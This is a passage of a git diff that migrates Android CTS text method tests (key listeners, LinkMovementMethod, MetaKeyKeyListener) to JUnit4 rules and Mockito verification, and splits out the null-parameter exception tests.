- * @see QwertyKeyListenerTest
- * @see TextKeyKeyListenerTest
  */
-public abstract class KeyListenerTestCase extends
-        ActivityInstrumentationTestCase2<KeyListenerCtsActivity> {
+public abstract class KeyListenerTestCase {
     protected KeyListenerCtsActivity mActivity;
     protected Instrumentation mInstrumentation;
     protected EditText mTextView;
 
-    public KeyListenerTestCase() {
-        super("com.android.cts.text", KeyListenerCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<KeyListenerCtsActivity> mActivityRule =
+            new ActivityTestRule<>(KeyListenerCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mActivity = getActivity();
-        mInstrumentation = getInstrumentation();
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
         mTextView = (EditText) mActivity.findViewById(R.id.keylistener_textview);
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                // Ensure that the screen is on for this test.
-                mTextView.setKeepScreenOn(true);
-            }
-        });
-        mInstrumentation.waitForIdleSync();
-        assertTrue(mActivity.waitForWindowFocus(5 * DateUtils.SECOND_IN_MILLIS));
+        PollingCheck.waitFor(5000, mActivity::hasWindowFocus);
     }
 
     /**
      * Synchronously sets mTextView's key listener on the UI thread.
      */
     protected void setKeyListenerSync(final KeyListener keyListener) {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setKeyListener(keyListener);
-            }
-        });
+        mInstrumentation.runOnMainSync(() -> mTextView.setKeyListener(keyListener));
         mInstrumentation.waitForIdleSync();
     }
 
diff --git a/tests/tests/text/src/android/text/method/cts/LinkMovementMethodTest.java b/tests/tests/text/src/android/text/method/cts/LinkMovementMethodTest.java
index 03fc1e7..069b274 100644
--- a/tests/tests/text/src/android/text/method/cts/LinkMovementMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/LinkMovementMethodTest.java
@@ -16,10 +16,25 @@
 
 package android.text.method.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
 
+import android.app.Activity;
 import android.os.SystemClock;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.Selection;
 import android.text.Spannable;
 import android.text.SpannableString;
@@ -34,6 +49,11 @@
 import android.widget.TextView;
 import android.widget.TextView.BufferType;
 
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test {@link LinkMovementMethod}. The class is an implementation of interface
  * {@link MovementMethod}. The typical usage of {@link MovementMethod} is tested in
@@ -42,39 +62,33 @@
  *
  * @see android.widget.cts.TextViewTest
  */
-public class LinkMovementMethodTest extends
-        ActivityInstrumentationTestCase2<CtsActivity> {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class LinkMovementMethodTest {
     private static final String CONTENT = "clickable\nunclickable\nclickable";
 
+    private Activity mActivity;
     private LinkMovementMethod mMethod;
-
     private TextView mView;
-
     private Spannable mSpannable;
+    private ClickableSpan mClickable0;
+    private ClickableSpan mClickable1;
 
-    private MockClickableSpan mClickable0;
+    @Rule
+    public ActivityTestRule<CtsActivity> mActivityRule = new ActivityTestRule<>(CtsActivity.class);
 
-    private MockClickableSpan mClickable1;
-
-    public LinkMovementMethodTest() {
-        super("android.text.cts", CtsActivity.class);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() throws Throwable {
+        mActivity = mActivityRule.getActivity();
         mMethod = new LinkMovementMethod();
 
         // Set the content view with a text view which contains 3 lines,
-        mView = new TextViewNoIme(getActivity());
+        mActivityRule.runOnUiThread(() -> mView = new TextViewNoIme(mActivity));
         mView.setTextSize(TypedValue.COMPLEX_UNIT_SP, 10);
         mView.setText(CONTENT, BufferType.SPANNABLE);
-        getInstrumentation().runOnMainSync(new Runnable() {
-            public void run() {
-                getActivity().setContentView(mView);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+
+        mActivityRule.runOnUiThread(() -> mActivity.setContentView(mView));
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
 
         mSpannable = (Spannable) mView.getText();
         // make first line clickable
@@ -83,10 +97,12 @@
         mClickable1 = markClickable(CONTENT.lastIndexOf('\n'), CONTENT.length());
     }
 
+    @Test
     public void testConstructor() {
         new LinkMovementMethod();
     }
 
+    @Test
     public void testGetInstance() {
         MovementMethod method0 = LinkMovementMethod.getInstance();
         assertTrue(method0 instanceof LinkMovementMethod);
@@ -96,13 +112,15 @@
         assertSame(method0, method1);
     }
 
+    @Test
     public void testOnTakeFocus() {
         LinkMovementMethod method = new LinkMovementMethod();
         Spannable spannable = new SpannableString("test sequence");
         Selection.setSelection(spannable, 0, spannable.length());
 
         assertSelection(spannable, 0, spannable.length());
-        assertTrue("Expected at least 2 spans", 2 <= spannable.getSpans(0, spannable.length(), Object.class).length);
+        assertTrue("Expected at least 2 spans",
+                2 <= spannable.getSpans(0, spannable.length(), Object.class).length);
         method.onTakeFocus(null, spannable, View.FOCUS_UP);
         assertSelection(spannable, -1);
         assertEquals(1, spannable.getSpans(0, spannable.length(), Object.class).length);
@@ -114,7 +132,8 @@
         // focus forwards
         Selection.setSelection(spannable, 0, spannable.length());
         assertSelection(spannable, 0, spannable.length());
-        assertTrue("Expected at least 3 spans", 3 <= spannable.getSpans(0, spannable.length(), Object.class).length);
+        assertTrue("Expected at least 3 spans",
+                3 <= spannable.getSpans(0, spannable.length(), Object.class).length);
         method.onTakeFocus(null, spannable, View.FOCUS_RIGHT);
         assertSelection(spannable, -1);
         assertEquals(0, spannable.getSpans(0, spannable.length(), Object.class).length);
@@ -124,69 +143,70 @@
         // param direction is unknown(0)
         Selection.setSelection(spannable, 0, spannable.length());
         assertSelection(spannable, 0, spannable.length());
-        assertTrue("Expected at least 3 spans", 3 <= spannable.getSpans(0, spannable.length(), Object.class).length);
+        assertTrue("Expected at least 3 spans",
+                3 <= spannable.getSpans(0, spannable.length(), Object.class).length);
         method.onTakeFocus(null, spannable, 0);
         assertSelection(spannable, -1);
         assertEquals(0, spannable.getSpans(0, spannable.length(), Object.class).length);
-
-        // null parameters
-        try {
-            method.onTakeFocus(new TextViewNoIme(getActivity()), null, View.FOCUS_RIGHT);
-            fail("The method did not throw NullPointerException when param spannable is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
     }
 
     @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testOnTakeFocusNullSpannable() {
+        LinkMovementMethod method = new LinkMovementMethod();
+        method.onTakeFocus(new TextViewNoIme(mActivity), null, View.FOCUS_RIGHT);
+    }
+
+    @UiThreadTest
+    @Test
     public void testOnKeyDown() {
         // no selection
         assertSelection(mSpannable, -1);
-        mClickable0.reset();
-        mClickable1.reset();
+        reset(mClickable0);
+        reset(mClickable1);
         assertFalse(mMethod.onKeyDown(mView, mSpannable, KeyEvent.KEYCODE_ENTER,
                 new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_ENTER)));
-        assertFalse(mClickable0.hasCalledOnClick());
-        assertFalse(mClickable1.hasCalledOnClick());
+        verify(mClickable0, never()).onClick(any());
+        verify(mClickable1, never()).onClick(any());
 
         // select clickable0
         Selection.setSelection(mSpannable, mSpannable.getSpanStart(mClickable0),
                 mSpannable.getSpanEnd(mClickable0));
-        mClickable0.reset();
-        mClickable1.reset();
+        reset(mClickable0);
+        reset(mClickable1);
         assertFalse(mMethod.onKeyDown(mView, mSpannable, KeyEvent.KEYCODE_DPAD_CENTER,
                 new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_CENTER)));
-        assertTrue(mClickable0.hasCalledOnClick());
-        assertFalse(mClickable1.hasCalledOnClick());
+        verify(mClickable0, times(1)).onClick(any());
+        verify(mClickable1, never()).onClick(any());
 
         // select unclickable
         Selection.setSelection(mSpannable, mSpannable.getSpanEnd(mClickable0),
                 mSpannable.getSpanStart(mClickable1));
-        mClickable0.reset();
-        mClickable1.reset();
+        reset(mClickable0);
+        reset(mClickable1);
         assertFalse(mMethod.onKeyDown(mView, mSpannable, KeyEvent.KEYCODE_ENTER,
                 new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_ENTER)));
-        assertFalse(mClickable0.hasCalledOnClick());
-        assertFalse(mClickable1.hasCalledOnClick());
+        verify(mClickable0, never()).onClick(any());
+        verify(mClickable1, never()).onClick(any());
 
         // select all clickables(more than one)
         Selection.selectAll(mSpannable);
-        mClickable0.reset();
-        mClickable1.reset();
+        reset(mClickable0);
+        reset(mClickable1);
         assertFalse(mMethod.onKeyDown(mView, mSpannable, KeyEvent.KEYCODE_DPAD_CENTER,
                 new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_CENTER)));
-        assertFalse(mClickable0.hasCalledOnClick());
-        assertFalse(mClickable1.hasCalledOnClick());
+        verify(mClickable0, never()).onClick(any());
+        verify(mClickable1, never()).onClick(any());
 
         // part of selection is clickable
         Selection.setSelection(mSpannable, mSpannable.getSpanEnd(mClickable0),
                 mSpannable.getSpanEnd(mClickable1));
-        mClickable0.reset();
-        mClickable1.reset();
+        reset(mClickable0);
+        reset(mClickable1);
         assertFalse(mMethod.onKeyDown(mView, mSpannable, KeyEvent.KEYCODE_DPAD_CENTER,
                 new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_CENTER)));
-        assertFalse(mClickable0.hasCalledOnClick());
-        assertTrue(mClickable1.hasCalledOnClick());
+        verify(mClickable0, never()).onClick(any());
+        verify(mClickable1, times(1)).onClick(any());
 
         // selection contains only clickable1 and repeat count of the event is not 0
         Selection.setSelection(mSpannable, mSpannable.getSpanEnd(mClickable0),
@@ -195,48 +215,47 @@
         KeyEvent event = new KeyEvent(now, now, KeyEvent.ACTION_DOWN,
                 KeyEvent.KEYCODE_DPAD_CENTER, 1);
 
-        mClickable0.reset();
-        mClickable1.reset();
+        reset(mClickable0);
+        reset(mClickable1);
         assertFalse(mMethod.onKeyDown(mView, mSpannable, KeyEvent.KEYCODE_DPAD_CENTER, event));
-        assertFalse(mClickable0.hasCalledOnClick());
-        assertFalse(mClickable1.hasCalledOnClick());
-
-        // null parameters
-        try {
-            mMethod.onKeyDown(null, mSpannable, KeyEvent.KEYCODE_DPAD_CENTER,
-                    new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_CENTER));
-            fail("The method did not throw NullPointerException when param view is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
-
-        try {
-            mMethod.onKeyDown(mView, null, KeyEvent.KEYCODE_DPAD_CENTER,
-                    new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_CENTER));
-            fail("The method did not throw NullPointerException when param spannable is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
-
-        try {
-            mMethod.onKeyDown(mView, mSpannable, KeyEvent.KEYCODE_DPAD_CENTER, null);
-            fail("The method did not throw NullPointerException when param keyEvent is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
+        verify(mClickable0, never()).onClick(any());
+        verify(mClickable1, never()).onClick(any());
     }
 
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testOnKeyDown_nullViewParam() {
+        mMethod.onKeyDown(null, mSpannable, KeyEvent.KEYCODE_DPAD_CENTER,
+                new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_CENTER));
+    }
+
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testOnKeyDown_nullSpannableParam() {
+        mMethod.onKeyDown(mView, null, KeyEvent.KEYCODE_DPAD_CENTER,
+                new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_CENTER));
+    }
+
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testOnKeyDown_nullKeyEventParam() {
+        mMethod.onKeyDown(mView, mSpannable, KeyEvent.KEYCODE_DPAD_CENTER, null);
+    }
+
+    @UiThreadTest
+    @Test
     public void testOnKeyUp() {
         LinkMovementMethod method = new LinkMovementMethod();
         // always returns false
         assertFalse(method.onKeyUp(null, null, 0, null));
-        assertFalse(method.onKeyUp(new TextViewNoIme(getActivity()), null, 0, null));
+        assertFalse(method.onKeyUp(new TextViewNoIme(mActivity), null, 0, null));
         assertFalse(method.onKeyUp(null, new SpannableString("blahblah"), 0, null));
         assertFalse(method.onKeyUp(null, null, KeyEvent.KEYCODE_0,
                 new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0)));
     }
 
     @UiThreadTest
+    @Test
     public void testOnTouchEvent() {
         assertSelection(mSpannable, -1);
 
@@ -245,9 +264,9 @@
         assertSelectClickableLeftToRight(mSpannable, mClickable0);
 
         // release on first line
-        assertFalse(mClickable0.hasCalledOnClick());
+        verify(mClickable0, never()).onClick(any());
         assertTrue(releaseOnLine(0));
-        assertTrue(mClickable0.hasCalledOnClick());
+        verify(mClickable0, times(1)).onClick(any());
 
         // press on second line (unclickable)
         assertSelectClickableLeftToRight(mSpannable, mClickable0);
@@ -260,44 +279,43 @@
         assertSelectClickableLeftToRight(mSpannable, mClickable1);
 
         // release on last line
-        assertFalse(mClickable1.hasCalledOnClick());
+        verify(mClickable1, never()).onClick(any());
         assertTrue(releaseOnLine(2));
-        assertTrue(mClickable1.hasCalledOnClick());
+        verify(mClickable1, times(1)).onClick(any());
 
         // release on second line (unclickable)
         assertSelectClickableLeftToRight(mSpannable, mClickable1);
         // just clear selection
         releaseOnLine(1);
         assertSelection(mSpannable, -1);
-
-        // null parameters
-        long now = SystemClock.uptimeMillis();
-        int y = (mView.getLayout().getLineTop(1) + mView.getLayout().getLineBottom(1)) / 2;
-        try {
-            mMethod.onTouchEvent(null, mSpannable,
-                    MotionEvent.obtain(now, now, MotionEvent.ACTION_UP, 5, y, 0));
-            fail("The method did not throw NullPointerException when param view is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
-
-        try {
-            mMethod.onTouchEvent(mView, null,
-                    MotionEvent.obtain(now, now, MotionEvent.ACTION_UP, 5, y, 0));
-            fail("The method did not throw NullPointerException when param spannable is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
-
-        try {
-            mMethod.onTouchEvent(mView, mSpannable, null);
-            fail("The method did not throw NullPointerException when param keyEvent is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
     }
 
     @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testOnTouchEvent_nullViewParam() {
+        long now = SystemClock.uptimeMillis();
+        int y = (mView.getLayout().getLineTop(1) + mView.getLayout().getLineBottom(1)) / 2;
+        mMethod.onTouchEvent(null, mSpannable,
+                MotionEvent.obtain(now, now, MotionEvent.ACTION_DOWN, 5, y, 0));
+    }
+
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testOnTouchEvent_nullSpannableParam() {
+        long now = SystemClock.uptimeMillis();
+        int y = (mView.getLayout().getLineTop(1) + mView.getLayout().getLineBottom(1)) / 2;
+        mMethod.onTouchEvent(mView, null,
+                MotionEvent.obtain(now, now, MotionEvent.ACTION_DOWN, 5, y, 0));
+    }
+
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testOnTouchEvent_nullKeyEventParam() {
+        mMethod.onTouchEvent(mView, mSpannable, null);
+    }
+
+    @UiThreadTest
+    @Test
     public void testUp() {
         final MyLinkMovementMethod method = new MyLinkMovementMethod();
         assertSelection(mSpannable, -1);
@@ -310,24 +328,24 @@
 
         assertFalse(method.up(mView, mSpannable));
         assertSelectClickableRightToLeft(mSpannable, mClickable0);
-
-        // null parameters
-        try {
-            method.up(null, mSpannable);
-            fail("The method did not throw NullPointerException when param view is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
-
-        try {
-            method.up(mView, null);
-            fail("The method did not throw NullPointerException when param spannable is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
     }
 
     @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testUp_nullViewParam() {
+        final MyLinkMovementMethod method = new MyLinkMovementMethod();
+        method.up(null, mSpannable);
+    }
+
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testUp_nullSpannableParam() {
+        final MyLinkMovementMethod method = new MyLinkMovementMethod();
+        method.up(mView, null);
+    }
+
+    @UiThreadTest
+    @Test
     public void testDown() {
         final MyLinkMovementMethod method = new MyLinkMovementMethod();
         assertSelection(mSpannable, -1);
@@ -340,24 +358,24 @@
 
         assertFalse(method.down(mView, mSpannable));
         assertSelectClickableLeftToRight(mSpannable, mClickable1);
-
-        // null parameters
-        try {
-            method.down(null, mSpannable);
-            fail("The method did not throw NullPointerException when param view is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
-
-        try {
-            method.down(mView, null);
-            fail("The method did not throw NullPointerException when param spannable is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
     }
 
     @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testDown_nullViewParam() {
+        final MyLinkMovementMethod method = new MyLinkMovementMethod();
+        method.down(null, mSpannable);
+    }
+
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testDown_nullSpannableParam() {
+        final MyLinkMovementMethod method = new MyLinkMovementMethod();
+        method.down(mView, null);
+    }
+
+    @UiThreadTest
+    @Test
     public void testLeft() {
         final MyLinkMovementMethod method = new MyLinkMovementMethod();
         assertSelection(mSpannable, -1);
@@ -370,24 +388,24 @@
 
         assertFalse(method.left(mView, mSpannable));
         assertSelectClickableRightToLeft(mSpannable, mClickable0);
-
-        // null parameters
-        try {
-            method.left(null, mSpannable);
-            fail("The method did not throw NullPointerException when param view is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
-
-        try {
-            method.left(mView, null);
-            fail("The method did not throw NullPointerException when param spannable is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
     }
 
     @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testLeft_nullViewParam() {
+        final MyLinkMovementMethod method = new MyLinkMovementMethod();
+        method.left(null, mSpannable);
+    }
+
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testLeft_nullSpannableParam() {
+        final MyLinkMovementMethod method = new MyLinkMovementMethod();
+        method.left(mView, null);
+    }
+
+    @UiThreadTest
+    @Test
     public void testRight() {
         final MyLinkMovementMethod method = new MyLinkMovementMethod();
         assertSelection(mSpannable, -1);
@@ -400,24 +418,24 @@
 
         assertFalse(method.right(mView, mSpannable));
         assertSelectClickableLeftToRight(mSpannable, mClickable1);
-
-        // null parameters
-        try {
-            method.right(null, mSpannable);
-            fail("The method did not throw NullPointerException when param view is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
-
-        try {
-            method.right(mView, null);
-            fail("The method did not throw NullPointerException when param spannable is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
     }
 
     @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testRight_nullViewParam() {
+        final MyLinkMovementMethod method = new MyLinkMovementMethod();
+        method.right(null, mSpannable);
+    }
+
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testRight_nullSpannableParam() {
+        final MyLinkMovementMethod method = new MyLinkMovementMethod();
+        method.right(mView, null);
+    }
+
+    @UiThreadTest
+    @Test
     public void testMoveAroundUnclickable() {
         final MyLinkMovementMethod method = new MyLinkMovementMethod();
         mSpannable.removeSpan(mClickable0);
@@ -437,6 +455,7 @@
         assertSelection(mSpannable, -1);
     }
 
+    @Test
     public void testInitialize() {
         LinkMovementMethod method = new LinkMovementMethod();
         Spannable spannable = new SpannableString("test sequence");
@@ -449,22 +468,19 @@
         assertSelection(spannable, -1);
         assertEquals(0, spannable.getSpans(0, spannable.length(), Object.class).length);
 
-        try {
-            method.initialize(mView, null);
-            fail("The method did not throw NullPointerException when param spannable is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
     }
 
-    private MockClickableSpan markClickable(final int start, final int end) {
-        final MockClickableSpan clickableSpan = new MockClickableSpan();
-        getInstrumentation().runOnMainSync(new Runnable() {
-            public void run() {
-                mSpannable.setSpan(clickableSpan, start, end, Spanned.SPAN_MARK_MARK);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+    @Test(expected=NullPointerException.class)
+    public void testInitialize_nullViewParam() {
+        final LinkMovementMethod method = new LinkMovementMethod();
+        method.initialize(mView, null);
+    }
+
+    private ClickableSpan markClickable(final int start, final int end) throws Throwable {
+        final ClickableSpan clickableSpan = spy(new MockClickableSpan());
+        mActivityRule.runOnUiThread(() -> mSpannable.setSpan(clickableSpan, start, end,
+                Spanned.SPAN_MARK_MARK));
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
         return clickableSpan;
     }
 
@@ -495,13 +511,13 @@
     }
 
     private void assertSelectClickableLeftToRight(Spannable spannable,
-            MockClickableSpan clickableSpan) {
+            ClickableSpan clickableSpan) {
         assertSelection(spannable, spannable.getSpanStart(clickableSpan),
                 spannable.getSpanEnd(clickableSpan));
     }
 
     private void assertSelectClickableRightToLeft(Spannable spannable,
-            MockClickableSpan clickableSpan) {
+            ClickableSpan clickableSpan) {
         assertSelection(spannable,  spannable.getSpanEnd(clickableSpan),
                 spannable.getSpanStart(clickableSpan));
     }
@@ -528,20 +544,9 @@
         }
     }
 
-    private static class MockClickableSpan extends ClickableSpan {
-        private boolean mHasCalledOnClick;
-
+    public static class MockClickableSpan extends ClickableSpan {
         @Override
         public void onClick(View widget) {
-            mHasCalledOnClick = true;
-        }
-
-        public boolean hasCalledOnClick() {
-            return mHasCalledOnClick;
-        }
-
-        public void reset() {
-            mHasCalledOnClick = false;
         }
     }
 }
diff --git a/tests/tests/text/src/android/text/method/cts/MetaKeyKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/MetaKeyKeyListenerTest.java
index c6eb78c..2f80106 100644
--- a/tests/tests/text/src/android/text/method/cts/MetaKeyKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/MetaKeyKeyListenerTest.java
@@ -16,11 +16,21 @@
 
 package android.text.method.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.fail;
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.atLeastOnce;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.verify;
+
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.Editable;
 import android.text.Selection;
 import android.text.Spannable;
 import android.text.Spanned;
-import android.text.method.cts.KeyListenerTestCase;
 import android.text.method.DateKeyListener;
 import android.text.method.MetaKeyKeyListener;
 import android.view.KeyCharacterMap;
@@ -28,10 +38,16 @@
 import android.view.View;
 import android.widget.ImageView;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test {@link MetaKeyKeyListener}.
  */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
 public class MetaKeyKeyListenerTest extends KeyListenerTestCase {
+    @Test
     public void testPressKey() {
         final CharSequence str = "123456";
         final MetaKeyKeyListener numberKeyListener = new DateKeyListener();
@@ -57,6 +73,7 @@
         assertEquals('3', content.charAt(3));
     }
 
+    @Test
     public void testReleaseKey() {
         final CharSequence str = "123456";
         final MetaKeyKeyListener numberKeyListener = new DateKeyListener();
@@ -82,6 +99,7 @@
         assertEquals(str.charAt(3), content.charAt(3));
     }
 
+    @Test
     public void testAdjustMetaAfterKeypress() {
         CharSequence str = "123456";
         Spannable content = Editable.Factory.getInstance().newEditable(str);
@@ -111,6 +129,7 @@
         assertEquals(Spanned.SPAN_POINT_POINT, content.getSpanFlags(Selection.SELECTION_END));
     }
 
+    @Test
     public void testAdjustMetaAfterKeypress2() {
         long state = MetaKeyKeyListener.adjustMetaAfterKeypress(MetaKeyKeyListener.META_SHIFT_ON);
         assertEquals(MetaKeyKeyListener.META_SHIFT_ON, state);
@@ -125,6 +144,7 @@
         assertEquals(0, state);
     }
 
+    @Test
     public void testResetMetaState() {
         CharSequence str = "123456";
         Spannable text = Editable.Factory.getInstance().newEditable(str);
@@ -151,6 +171,7 @@
         assertEquals(Spanned.SPAN_POINT_POINT, text.getSpanFlags(Selection.SELECTION_END));
     }
 
+    @Test
     public void testGetMetaState() {
         assertEquals(0, MetaKeyKeyListener.getMetaState("123456"));
         assertEquals(0, MetaKeyKeyListener.getMetaState("abc"));
@@ -177,6 +198,7 @@
                 MetaKeyKeyListener.getMetaState("@#$$#^$^", MetaKeyKeyListener.META_SYM_ON));
     }
 
+    @Test
     public void testGetMetaState2() {
         assertEquals(0, MetaKeyKeyListener.getMetaState(0));
         assertEquals(MetaKeyKeyListener.META_SHIFT_ON,
@@ -191,33 +213,69 @@
                 MetaKeyKeyListener.META_SYM_ON));
     }
 
+    @Test
+    public void testGetMetaState_withCharSequenceAndKeyEvent() {
+        KeyEvent event = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0, 0,
+                KeyEvent.META_SHIFT_MASK);
+
+        assertEquals(KeyEvent.META_SHIFT_MASK, MetaKeyKeyListener.getMetaState(null, event));
+        assertEquals(KeyEvent.META_SHIFT_MASK, MetaKeyKeyListener.getMetaState("", event));
+    }
+
+    @Test
+    public void testGetMetaState_withCharSequenceAndMetaAndKeyEvent() {
+        KeyEvent event = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0, 0,
+                KeyEvent.META_CTRL_ON);
+
+        assertEquals(0, MetaKeyKeyListener.getMetaState("", MetaKeyKeyListener.META_SHIFT_ON,
+                event));
+
+        event = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0, 0,
+                KeyEvent.META_SHIFT_ON);
+
+        assertEquals(1, MetaKeyKeyListener.getMetaState("", MetaKeyKeyListener.META_SHIFT_ON,
+                event));
+
+        event = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0, 0,
+                KeyEvent.META_SYM_LOCKED);
+
+        assertEquals(2, MetaKeyKeyListener.getMetaState("", MetaKeyKeyListener.META_SYM_ON,
+                event));
+
+        assertEquals(2, MetaKeyKeyListener.getMetaState(null, MetaKeyKeyListener.META_SYM_ON,
+                event));
+    }
+
+    @Test
     public void testIsMetaTracker() {
         assertFalse(MetaKeyKeyListener.isMetaTracker("123456", new Object()));
         assertFalse(MetaKeyKeyListener.isMetaTracker("abc", new Object()));
         assertFalse(MetaKeyKeyListener.isMetaTracker("@#$$#^$^", new Object()));
     }
 
+    @Test
     public void testIsSelectingMetaTracker() {
         assertFalse(MetaKeyKeyListener.isSelectingMetaTracker("123456", new Object()));
         assertFalse(MetaKeyKeyListener.isSelectingMetaTracker("abc", new Object()));
         assertFalse(MetaKeyKeyListener.isSelectingMetaTracker("@#$$#^$^", new Object()));
     }
 
+    @Test
     public void testResetLockedMeta() {
         MockMetaKeyKeyListener mockMetaKeyKeyListener = new MockMetaKeyKeyListener();
 
-        MockSpannable str = new MockSpannable();
+        MockSpannable str = spy(new MockSpannable());
         str.setSpan(new Object(), 0, 0, Spannable.SPAN_MARK_MARK
                 | (4 << Spannable.SPAN_USER_SHIFT));
-        assertFalse(str.hasCalledRemoveSpan());
+        verify(str, never()).removeSpan(any());
         mockMetaKeyKeyListener.callResetLockedMeta(str);
-        assertTrue(str.hasCalledRemoveSpan());
+        verify(str, atLeastOnce()).removeSpan(any());
 
-        str = new MockSpannable();
+        str = spy(new MockSpannable());
         str.setSpan(new Object(), 0, 0, Spannable.SPAN_MARK_POINT);
-        assertFalse(str.hasCalledRemoveSpan());
+        verify(str, never()).removeSpan(any());
         mockMetaKeyKeyListener.callResetLockedMeta(str);
-        assertFalse(str.hasCalledRemoveSpan());
+        verify(str, never()).removeSpan(any());
 
         try {
             mockMetaKeyKeyListener.callResetLockedMeta(null);
@@ -226,6 +284,7 @@
         }
     }
 
+    @Test
     public void testResetLockedMeta2() {
         long state = MetaKeyKeyListener.resetLockedMeta(MetaKeyKeyListener.META_CAP_LOCKED);
         assertEquals(0, state);
@@ -246,6 +305,7 @@
         assertEquals(MetaKeyKeyListener.META_SYM_ON, state);
     }
 
+    @Test
     public void testClearMetaKeyState() {
         final MetaKeyKeyListener numberKeyListener = new DateKeyListener();
         CharSequence str = "123456";
@@ -273,6 +333,7 @@
         assertEquals(Spanned.SPAN_POINT_POINT, text.getSpanFlags(Selection.SELECTION_END));
     }
 
+    @Test
     public void testClearMetaKeyState2() {
         CharSequence str = "123456";
         Editable text = Editable.Factory.getInstance().newEditable(str);
@@ -299,6 +360,7 @@
         assertEquals(Spanned.SPAN_POINT_POINT, text.getSpanFlags(Selection.SELECTION_END));
     }
 
+    @Test
     public void testClearMetaKeyState3() {
         final MetaKeyKeyListener metaKeyKeyListener = new MetaKeyKeyListener() {};
         long state = metaKeyKeyListener.clearMetaKeyState(MetaKeyKeyListener.META_CAP_LOCKED,
@@ -326,6 +388,7 @@
         assertEquals(MetaKeyKeyListener.META_SYM_ON, state);
     }
 
+    @Test
     public void testHandleKeyDown() {
